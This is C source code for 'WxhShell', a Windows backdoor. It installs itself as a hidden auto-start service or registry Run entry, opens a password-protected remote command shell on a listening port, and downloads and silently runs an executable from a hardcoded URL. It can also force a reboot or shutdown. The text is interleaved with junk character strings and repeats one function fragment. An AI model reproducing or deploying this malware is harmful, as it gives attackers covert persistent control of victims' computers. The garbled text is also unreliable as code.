W/~q%\M { NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {Ve`VV5E pK"Z9y& if (!NtQueryInformationProcess) return 0; In+2~Jw/2! #^$_3AY hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F2EX7Crj if(!hProcess) return 0; {K?e6-N(z >J)4e~9EJ2 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'iDkAmvD U\-.u3/ CloseHandle(hProcess); z^WY5~? >&F:/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?C if(hProcess==NULL) return 0; WW!-,d{{@ DZEq(>mn HMODULE hMod; #uCfXJ- char procName[255]; D";clP05K unsigned long cbNeeded; |L:X$oM .WuSW[g if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v-Q>I5D;: (NJ.\m CloseHandle(hProcess); wwJ s_f\ j#Lj<jX!xR if(strstr(procName,"services")) return 1; // 以服务启动 FP*kA_z$ jc#gn&4C return 0; // 注册表启动 9RkNRB)8 } t)~$p#NS V{x[^+w7X~ // 主模块 3a=\$x@ int StartWxhshell(LPSTR lpCmdLine) LX=v
_}l
J { s~o\j/ SOCKET wsl; 9|OOT[ BOOL val=TRUE; BlcsDB =ka int port=0; YIb7y1\UM struct sockaddr_in door; 'm-5 Z5EII[=$o if(wscfg.ws_autoins) Install(); ^gR~~t;@ ;lhW6;oI' port=atoi(lpCmdLine); P 6=5:-Hh ^),t=!;p if(port<=0) port=wscfg.ws_port; ;W FiMM\ ez5>V7Y WSADATA data; yMD0Tj5ZQ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L 7LUy$M-< :C,}DyZy if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -pQ?ybQ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -C!m#"PDW door.sin_family = AF_INET; tT]mMlKJ door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5N bq9YY door.sin_port = htons(port); 1\)lD(J\C Nei i$ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _g,_G closesocket(wsl); o&$lik return 1; qG g2 9 } sr(nd35 n1PvZ~^3 if(listen(wsl,2) == INVALID_SOCKET) { yw89*:A6 closesocket(wsl); bMv[.Z@v( return 1; \%V !&
!' } Dqd2e&a\ Wxhshell(wsl); \0 &$n WSACleanup(); %5@>
nC?`[ :1@jl2, return 0; ];N/KHeZ LZE9]Gd } jJ,y+o ,wv>G]v // 以NT服务方式启动 fRkx ^u
P VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6k<3,`VV| { x;LO{S4Z DWORD status = 0; t\Qm2Q)> DWORD specificError = 0xfffffff; %Q;:nVt ,\d03wha serviceStatus.dwServiceType = SERVICE_WIN32; eW}-UeT serviceStatus.dwCurrentState = SERVICE_START_PENDING; sN5Mm8~ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +~M.VsX serviceStatus.dwWin32ExitCode = 0; ?Jgqb3+!o serviceStatus.dwServiceSpecificExitCode = 0; SxcE@WM serviceStatus.dwCheckPoint = 0; Rz6kwh=q serviceStatus.dwWaitHint = 0; -@B6 $XWL JRAU|gr hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HIfi18 if (hServiceStatusHandle==0) return; F5M|QX@- 9F~5Ht status = GetLastError(); dP]Z: if (status!=NO_ERROR) [ lK`~MlQ { K2V?[O# serviceStatus.dwCurrentState = SERVICE_STOPPED; t? =V<Yd1 serviceStatus.dwCheckPoint = 0; 4\uq$.f- serviceStatus.dwWaitHint = 0; ~SsfkM" serviceStatus.dwWin32ExitCode = status; mmCGIX serviceStatus.dwServiceSpecificExitCode = specificError; nB5^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); mD*!<<Sw return; P4c}@Mq3 } !FB2\hiM 1 CV? serviceStatus.dwCurrentState = SERVICE_RUNNING; :R$v7{1 serviceStatus.dwCheckPoint = 0; XIl#0-E0X serviceStatus.dwWaitHint = 0; {>TAnb?n if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x`'s } !vHCftKel jW[EjhsH // 处理NT服务事件,比如:启动、停止 &?}h)U#: VOID WINAPI NTServiceHandler(DWORD fdwControl) r|/9'{! { Q
trU_c2k switch(fdwControl) dwiLu& ]u { vVsaGW case SERVICE_CONTROL_STOP: f}?pY"yvO serviceStatus.dwWin32ExitCode = 0; '] _7Xa' serviceStatus.dwCurrentState = SERVICE_STOPPED; t_(S e serviceStatus.dwCheckPoint = 0; N%u4uLP5k serviceStatus.dwWaitHint = 0; _eH@G(W( { GSH,;cY SetServiceStatus(hServiceStatusHandle, &serviceStatus); vB5mOXGN q } [?g}<fa return; `q1-yH0~4 case SERVICE_CONTROL_PAUSE: #sbW^Q'I
serviceStatus.dwCurrentState = SERVICE_PAUSED; Z 8GIZ break; w[EEA_\ case SERVICE_CONTROL_CONTINUE: ^?0?* serviceStatus.dwCurrentState = SERVICE_RUNNING; %(s2{$3 break; 5p3:8G7 case SERVICE_CONTROL_INTERROGATE: q>6,g>I break; $d&7q5[ }; 9,"gXsvx( SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7~QAprwVS } HPo><u /^WawH6)6 // 标准应用程序主函数 |>>^Mol int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ww'B!Ml>F { ,I,Zl.5 [g+WL\1 // 获取操作系统版本 G,(Xz"`, OsIsNt=GetOsVer(); i"E_nN"V GetModuleFileName(NULL,ExeFile,MAX_PATH); V_|HzYJJ5 (+u&b< <6N // 从命令行安装 _LWMz=U=J/ if(strpbrk(lpCmdLine,"iI")) Install(); x$S~>H<a B>cx[.#! // 下载执行文件 \D#+0 if(wscfg.ws_downexe) { 8%MF< if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N;=J)b|9 WinExec(wscfg.ws_filenam,SW_HIDE); t!>0^['g4 } 8Kn}o@Yd ogya~/ if(!OsIsNt) { N2u4MI2 // 如果时win9x,隐藏进程并且设置为注册表启动 i9peQ61{ HideProc(); +hlR StartWxhshell(lpCmdLine); f.R;<V.) } R m2M else iA'p!l|P if(StartFromService()) 'p%w_VbI // 以服务方式启动 90wnwz StartServiceCtrlDispatcher(DispatchTable); s;tI?kR>% else "#Q"gC.K // 普通方式启动 u =(.} StartWxhshell(lpCmdLine); 7EL0!:P p3 vQDR;T"] return 0; gDH|I;! } E
<r;J -W|~YK7e [[ }ukG4 PK_2 =========================================== s:tWEgZk? T%YN(f _e|-O>#pl B5;94YIN /[q_f
Bf W@f " h{?f
uoZj% \PmM856=ms #include <stdio.h> H;FzWcm #include <string.h> c&`]O\D-c #include <windows.h> F-Ku0z]){? #include <winsock2.h> *kJa$3*r #include <winsvc.h> |Y( #include <urlmon.h> ya;(D 8x) FGpV
]p #pragma comment (lib, "Ws2_32.lib") J]Q-#g'Z #pragma comment (lib, "urlmon.lib") SNH AL F P>|sCF #define MAX_USER 100 // 最大客户端连接数 Y@b|/+ #define BUF_SOCK 200 // sock buffer 4 %u\dTg/B #define KEY_BUFF 255 // 输入 buffer b1Ba} f>? b2a2HX #define REBOOT 0 // 重启 ` ^z
l = #define SHUTDOWN 1 // 关机 of`WP tZr_{F@ #define DEF_PORT 5000 // 监听端口 ^j?"0| G[P<!6Id!p #define REG_LEN 16 // 注册表键长度 1L3 $h0i #define SVC_LEN 80 // NT服务名长度 ]v$ 2JgF]@ i6^-fl // 从dll定义API o;pJjC] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hCj8y.X|E( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (IAR-957pN typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YD5mJ[1t"2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); os+]ct }jNVR#D: // wxhshell配置信息 .WGrzhsV struct WSCFG { ]pVuRj'pP int ws_port; // 监听端口 c{i\F D char ws_passstr[REG_LEN]; // 口令 q6P5:@ int ws_autoins; // 安装标记, 1=yes 0=no D:N\K/p char ws_regname[REG_LEN]; // 注册表键名 pEb/ yIT" char ws_svcname[REG_LEN]; // 服务名 36 ]?4, . char ws_svcdisp[SVC_LEN]; // 服务显示名 z_Pq5 char ws_svcdesc[SVC_LEN]; // 服务描述信息 qqu]r char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <mQ9YO# int ws_downexe; // 下载执行标记, 1=yes 0=no &tlU.Whk+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g}I{- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z*N%kcw" Z$K[e }; $rQi$w/ $oi8<8Y // default Wxhshell configuration Ga;Lm?6- struct WSCFG wscfg={DEF_PORT, $ Vsf?ID "xuhuanlingzhe", YUlH5rO3 1, v=YI%{tx) "Wxhshell", Gn%k# "Wxhshell", LT/*y= "WxhShell Service", iDlg>UYd "Wrsky Windows CmdShell Service", q9(hn_X@/ "Please Input Your Password: ", 1_)Y{3L 1, &LhR0A "http://www.wrsky.com/wxhshell.exe", ,{#L i "Wxhshell.exe" -.UUa }; H$xUOqL =K9- // 消息定义模块 S$nEflcz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |<LW(,|A char *msg_ws_prompt="\n\r? for help\n\r#>"; U{3Pk0rZ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ->@iw!5xu char *msg_ws_ext="\n\rExit."; fvoPV&: char *msg_ws_end="\n\rQuit."; WAGU|t#." char *msg_ws_boot="\n\rReboot..."; ET~^P char *msg_ws_poff="\n\rShutdown..."; E, |OMK# char *msg_ws_down="\n\rSave to "; R^6^{q K`kWfPwp char *msg_ws_err="\n\rErr!"; .wcKG9u char *msg_ws_ok="\n\rOK!"; q>VvXUyK, ? UBE0C char ExeFile[MAX_PATH]; 5Yx
7Q:D int nUser = 0; 257q%" HANDLE handles[MAX_USER]; eg>]{`WQ int OsIsNt; oD%B'{Zs4 ;VgB! SERVICE_STATUS serviceStatus; ^FK-e;J SERVICE_STATUS_HANDLE hServiceStatusHandle; EA<x$O h
x
hl // 函数声明 ?"T *{8 int Install(void); dijHi int Uninstall(void); bO+L#Kf int DownloadFile(char *sURL, SOCKET wsh); uBo~PiJ2" int Boot(int flag); N-Sjd%Z void HideProc(void); 2?c%<_jPA int GetOsVer(void); ;VPYWss int Wxhshell(SOCKET wsl); ljk,R
G void TalkWithClient(void *cs); B..> *Xb int CmdShell(SOCKET sock); zR }vw{ int StartFromService(void); @}A3ie'w int StartWxhshell(LPSTR lpCmdLine); lFc^y 8Y~\:3&1< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~G8haN4 VOID WINAPI NTServiceHandler( DWORD fdwControl ); gnZc`)z .&n;S';" // 数据结构和表定义 UAtdRVi]M SERVICE_TABLE_ENTRY DispatchTable[] = r-c1_
[Q# { [J43] {wscfg.ws_svcname, NTServiceMain}, Zex`n:Wl?j {NULL, NULL} Uy{ZK*c8i }; >W=^>8u 0|`iop%(n // 自我安装 vOBXAF int Install(void) `5t
CmU { 3aEO9v,n char svExeFile[MAX_PATH]; QZ_8r#2x HKEY key; Cq<k(TKAX strcpy(svExeFile,ExeFile); S(hT3MAW O|0} m // 如果是win9x系统,修改注册表设为自启动 -!:h] if(!OsIsNt) { m~vEandm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 78FK{Cr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Cg%}= RegCloseKey(key); w:@W/e*9N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9lSs;zm{Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UJrN+RtL RegCloseKey(key); `:EU~4s\ return 0; IFF3gh42. } RJA#cv~f } ;%$wA5"2M } G'6f6i|<I@ else { ^1z)\p1 =-n7/ // 如果是NT以上系统,安装为系统服务 6g%~~hX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,\0>d}eh! if (schSCManager!=0) F;)qM|7
{ p (x<h SC_HANDLE schService = CreateService z irnur1 ( _qq>-{-Ym schSCManager, L
^{C4}x= wscfg.ws_svcname, NPE7AdB8 wscfg.ws_svcdisp, K7]IAV SERVICE_ALL_ACCESS, {@T<eb$d SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >D*%1LH~V SERVICE_AUTO_START, ,HfdiGs}j SERVICE_ERROR_NORMAL, R ;3!?` svExeFile, -5Ln3\ O@ NULL, !i?aRI/6 NULL, ,L^ag&!4 NULL, &8QkGUbS< NULL, j'nrdr6n NULL H4g1@[{|0O ); 1_G5uHO if (schService!=0) %scQP{%aD { SSa0x9T CloseServiceHandle(schService); jMQ7^(9- CloseServiceHandle(schSCManager); #%SF2PB; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $O^U" strcat(svExeFile,wscfg.ws_svcname); 6ragRS/'x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {DbWk>[DkG RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -owap-Va RegCloseKey(key); n_46;lD return 0; 6B`,^8Lp } ;&]oV`Ib } MnD^jcx
CloseServiceHandle(schSCManager); U&SgB[QHO } )VFS&|#\ } u_X(c'aE; td\'BV return 1; gl!F)RdH } hwd{^ x_.}C% // 自我卸载 T6Ks]6m_ int Uninstall(void) 8WMGuv { l08JL HKEY key; BMovl4*5 xY1@Ja if(!OsIsNt) { K.: :P84m; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F)hUT@ RegDeleteValue(key,wscfg.ws_regname); 8Hh=Sp^ RegCloseKey(key); 1c}LX.9 K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2+qU9[kd| RegDeleteValue(key,wscfg.ws_regname); ;>h:VnV(>( RegCloseKey(key); J2Z?}5> return 0; 2M3C
5Fu } n3JSEu;J } u1_NC; } Ebytvs,w else { Ue2k^a*Ww QVPJ$~x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q(ec>+oi if (schSCManager!=0) 1ppU
?# { ]m"6a-,` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oAxCI/ if (schService!=0) [rtMx8T { k|[86<&[ if(DeleteService(schService)!=0) { geEETb}+y CloseServiceHandle(schService); $'
>|r] CloseServiceHandle(schSCManager); Ts
1 return 0; WS1$cAD2N } x$/:%"E CloseServiceHandle(schService); k{w } QKtVwsz
+ CloseServiceHandle(schSCManager); )SsO,E+t=U } #FsoK*F } ,ku3;58O< b?%Pa\,! return 1; /^9yncG;> } WTQd}f <<[\
Rv // 从指定url下载文件 -JfO} DRI int DownloadFile(char *sURL, SOCKET wsh) A6%~+9 { 73>Hzpv0 HRESULT hr; MFO1v%m char seps[]= "/"; !DNk!]| char *token; LXx`Vk>ky char *file; -x2&IJ! char myURL[MAX_PATH]; ]8ob`F`m, char myFILE[MAX_PATH]; vC ISd
*d$r`.9j strcpy(myURL,sURL); xmbFJUMH token=strtok(myURL,seps); Xe> while(token!=NULL) H|/U0;s { _/)HAw?k file=token;
_V_GdQ token=strtok(NULL,seps); F@u>5e^6 } hxx`f-#= <CY<-H GetCurrentDirectory(MAX_PATH,myFILE); V}+Ui]ie|I strcat(myFILE, "\\"); #JW~ &; strcat(myFILE, file); (GXFPEH8 send(wsh,myFILE,strlen(myFILE),0); mM)d`br send(wsh,"...",3,0); K1[(%<Gp hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !S5_+.U# if(hr==S_OK) *-.,QpgTX return 0; w>uo-88 else ZRLS3*` return 1; '?dT<w=Y& u[?M{E/HU } mZ}C)&,m2 [V _\SQV0 // 系统电源模块 4'BZ +A,p int Boot(int flag) pQ yH` { R1NwtnS HANDLE hToken; Q9NKQuSu TOKEN_PRIVILEGES tkp; -Vhxnh S Y<9]7R(\; if(OsIsNt) { UZb!tO2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cSWn4-B@l LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LP:F'Q:< tkp.PrivilegeCount = 1; YB3?Ftgw tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _omz74 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ul%D}(, if(flag==REBOOT) { \2NT7^H# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N(=\S: return 0; 19 <Lgr } 2L|)uCb else { LGPPyKNx if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LQ3J$N return 0; ^muPjM+D } ^P}c0}^ } NG?- dkD else { bbxo!K
m" if(flag==REBOOT) { )ME'qA3K if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u:GDM return 0; "6zf-++% } ry!0~ir else { hz*H,E!> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {axMS yp; return 0; %Tm8sQ)1 } B7ty*)i? } d+Au`'{> rugR>&mea return 1; FvT;8ik:3 } &NB"[Mm:@ L|N[.V9 // win9x进程隐藏模块 n>aH7 void HideProc(void) 68,(+vkB { gO,2:, /XZ\Yy= HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Xw |6
#^ if ( hKernel != NULL ) *J|]E( { cOo@UU P pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kcyT#'=j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X;%*+xQ^ FreeLibrary(hKernel); V.^Z)iNf^ } uPQrDr5 V/W{d[86G return; ~ w,hJ ` } a0=>@? [[gfR'79{ // 获取操作系统版本 x3]y*6 int GetOsVer(void) _ !H8j/b { M&~cU{9c OSVERSIONINFO winfo; !(>yB;u winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .Mu]uQUF GetVersionEx(&winfo); F=l. 2t*9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Xl\yOMfp return 1; S1G3xY$0 else 1./iF>*A return 0; 0V5 {:mzA } S1D;Xv@ 'e5,%"5(c // 客户端句柄模块 Fb&WwGY,P int Wxhshell(SOCKET wsl) m?_@.O@] { A
^U`c'$ SOCKET wsh; 1G62Qu$O struct sockaddr_in client; F`U
YgN DWORD myID; #xTu { q;#:nf" while(nUser<MAX_USER) %;qDhAu0 { f$p7L.d< int nSize=sizeof(client); T$r?LIa ,Q wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )!jX$bK if(wsh==INVALID_SOCKET) return 1; &p6^
+U= !svE handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RuuXDuu:VL if(handles[nUser]==0) Z g~6 closesocket(wsh); #;~dA else @(_f}SgfE nUser++; |?Bb{Es } aT`. e WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rJqRzF{|P6 8jz[;.jP", return 0; F}dq~QCzw } $mZpX:7/u8 j3yz"-53e // 关闭 socket ZK8I f?SD void CloseIt(SOCKET wsh) Cv;\cI"& { ga+Z6|t closesocket(wsh); [$P.ek< nUser--; \jGvom. ExitThread(0); tF=Y3W+L } h(H b+7g TVEFZ\p<A // 客户端请求句柄 Y~+`F5xX< void TalkWithClient(void *cs) 1?N$I}? { dpI9DzA; RRBBz7:~ SOCKET wsh=(SOCKET)cs; D>).^>|q char pwd[SVC_LEN]; l<YCX[%E char cmd[KEY_BUFF]; ZFO*D79:K char chr[1]; ;)gNe:Q int i,j; -y5Zc?e 2=p"%YSn while (nUser < MAX_USER) { I!uGI 1?5UVv_F if(wscfg.ws_passstr) { n^7m^1to if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W99Hq1W;r //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <;.->73E //ZeroMemory(pwd,KEY_BUFF); 5|Or,8r(C i=0; RFzMah?Q=j while(i<SVC_LEN) { HG)c\b $,L,VYN // 设置超时 JU\wvP5j fd_set FdRead; V|mz]H#| struct timeval TimeOut; Q1(6U6L FD_ZERO(&FdRead); Vuu_Sd FD_SET(wsh,&FdRead); 5xF R7%_& TimeOut.tv_sec=8; 'YUx&FcM TimeOut.tv_usec=0; `.8#q^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k9iXVYQ.;r if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); baL-~`(T
e+=IGYC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "=r"c$xou pwd=chr[0]; -yn;Jo2- if(chr[0]==0xd || chr[0]==0xa) { Up|>)WFw" pwd=0; | *J-9 break; SuU %x2 } b$Ch2Qz0q i++; 6a\YD{D] _ } dxI t.h eg
vgi?y // 如果是非法用户,关闭 socket _$Hx:^p: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %B{NH~ } &?@5G *zR send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `*hrU{b send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); baVSQtda J)xc mK while(1) { l-mf~{ <DjFMTCN ZeroMemory(cmd,KEY_BUFF); ZD'fEqM P Zc{wbjp& // 自动支持客户端 telnet标准 xHMbtY j=0; K@PQLL#yJp while(j<KEY_BUFF) { :x<'>)6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U|HF;L cmd[j]=chr[0]; /2\%X`]< if(chr[0]==0xa || chr[0]==0xd) { (~<9\ZJs cmd[j]=0; 6W abw: break; E-_Q3^ } /kY|PY j++; &@MiR8 } c#6g[TE@ &]? X"K // 下载文件
G$"$k=[ if(strstr(cmd,"http://")) { P95A_(T=[ send(wsh,msg_ws_down,strlen(msg_ws_down),0); [Nn ?:5" if(DownloadFile(cmd,wsh)) @Ja8~5 : send(wsh,msg_ws_err,strlen(msg_ws_err),0); VY9|8g/ else Aj;F$(su send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G`HL^/Z* } W l+[{# else { 3+EAMn uM^eoh_ switch(cmd[0]) { m% {4 G}&{]w@ // 帮助 CK+GD "Z$ case '?': { #*<*|AwoW| send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AGN5=K*D break; $rh {f< } NZyGC
Vh@ // 安装 u0@i3Po case 'i': { fb 8t9sAI if(Install()) ( IXe555 send(wsh,msg_ws_err,strlen(msg_ws_err),0); z|V5/" else a3<.F&c+c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q6 G-`&5 break; 2h6<'2'o1 } @L-3&~= // 卸载 O,kzU,zOs case 'r': { 6eqPaIaD if(Uninstall()) 9N [PZD send(wsh,msg_ws_err,strlen(msg_ws_err),0); hK,e<?N^ else m"<Sb,"x! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ORV~F0d< break; SJtQK-%wK> } Qv%"iSe~J // 显示 wxhshell 所在路径 to1{7q case 'p': { |-HV@c] char svExeFile[MAX_PATH]; {1Z`'.FU strcpy(svExeFile,"\n\r"); YFVNkBO% strcat(svExeFile,ExeFile); ^0/FZ)V8 send(wsh,svExeFile,strlen(svExeFile),0); +%'S>g0W= break; cVt
MCgx } ]Fc<%wzp // 重启 G 1rsd case 'b': { N;9m&)@JR' send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 93-UA.+g if(Boot(REBOOT)) ) /kf send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' {L5 3cH= else { S`Jo^!VJ4 closesocket(wsh); :)UF# ExitThread(0); t?:} bw+m } H+`s#'(i_P break; 3TRzDE(J } )")_aA // 关机 >xU$)uE& case 'd': { )x/Spb send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UJXRL
if(Boot(SHUTDOWN)) p9;Oe,Il send(wsh,msg_ws_err,strlen(msg_ws_err),0); }dl[~iKW else { G6C#M-S closesocket(wsh); E|t.
3 ExitThread(0); ze<Lc/ ;X~ } K85;7R5 break; ccc*"_45# } (5s$vcK // 获取shell ieN}Ajl2 case 's': { 0UEEvD5 CmdShell(wsh); v)*/E'Cr* closesocket(wsh); lLO|, ExitThread(0); J6eF7 fa break; 8\?7k } z+K -aj w // 退出 .5ap9li] case 'x': { B\U9F5 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wo($7'.@
CloseIt(wsh); N02X*NC break; 0j^QY6 } :Yi1# // 离开 @ 5!Mr5; case 'q': { Z*EK56.b send(wsh,msg_ws_end,strlen(msg_ws_end),0); VQ5D?^'0/ closesocket(wsh); CbmT aEaP WSACleanup(); *;QIAd exit(1); b^wL{q break; &_-,Nxsf } l^ P[nQDH } "<3F[[;~ } .E'Tfa
x;&01@m. // 提示信息 *=Ko"v
} if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rBd}u+:* } &b[.bf } xV&c)l>} \K$9r=!( return; sN`2"t/s } ke'aSD e6E{l // shell模块句柄 +gZg7]!Z int CmdShell(SOCKET sock) {tUjUwhz( { &cDLSnR STARTUPINFO si; Hc`)Q vFRW ZeroMemory(&si,sizeof(si)); EwvW: t1 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4~mYj@lvd si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WmO.&zp PROCESS_INFORMATION ProcessInfo; )-D{]>8 char cmdline[]="cmd"; C`s CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {BkTJQ) return 0; $#3O:aW } {}r#s> : GVyY]qBU // 自身启动模式 0E*q-$P int StartFromService(void) ,$i2vGd { zX{O"w typedef struct SG:Fn8 { KIyhvY~ DWORD ExitStatus; Gk<M@d^hQ DWORD PebBaseAddress; h^yLmRL DWORD AffinityMask; ;VhilWaF- DWORD BasePriority; Rra3)i`* ULONG UniqueProcessId; 5Lmhip ULONG InheritedFromUniqueProcessId; [1+ o } PROCESS_BASIC_INFORMATION; [BPK0 4R 9lA PROCNTQSIP NtQueryInformationProcess; `/W6,] v|IPus|> static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6n[O8^ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EW$.,%b1 ,"MRA HANDLE hProcess; |;~kHc$W PROCESS_BASIC_INFORMATION pbi; <SK%W= 5)tDgm HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >3{#S: if(NULL == hInst ) return 0; q1rBSlzN ]q#w97BxiJ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~ IPel g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iLQFce7d|& NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L#t^:% 0:NCIsIm< if (!NtQueryInformationProcess) return 0; 'CF?pxNQ l DdUT"% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MK"p~b0-> if(!hProcess) return 0; R,+Pcn$ws N*J!<vY" if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vBFMne1h y
{&"g CloseHandle(hProcess); M)m( ;iol 2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 29a~B<e7s if(hProcess==NULL) return 0; &@g~o0 79m',9{u HMODULE hMod; ,iUWLcOM char procName[255]; ;rp("<g:> unsigned long cbNeeded; Z2Q'9C},m Alo;kt@x if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CcGE4BB sBN"eHg CloseHandle(hProcess); QcW6o, , %8keGhl if(strstr(procName,"services")) return 1; // 以服务启动 LS"_-4I} _wp>AJ r return 0; // 注册表启动 @ Sq
=q=S } prIPPeMdz
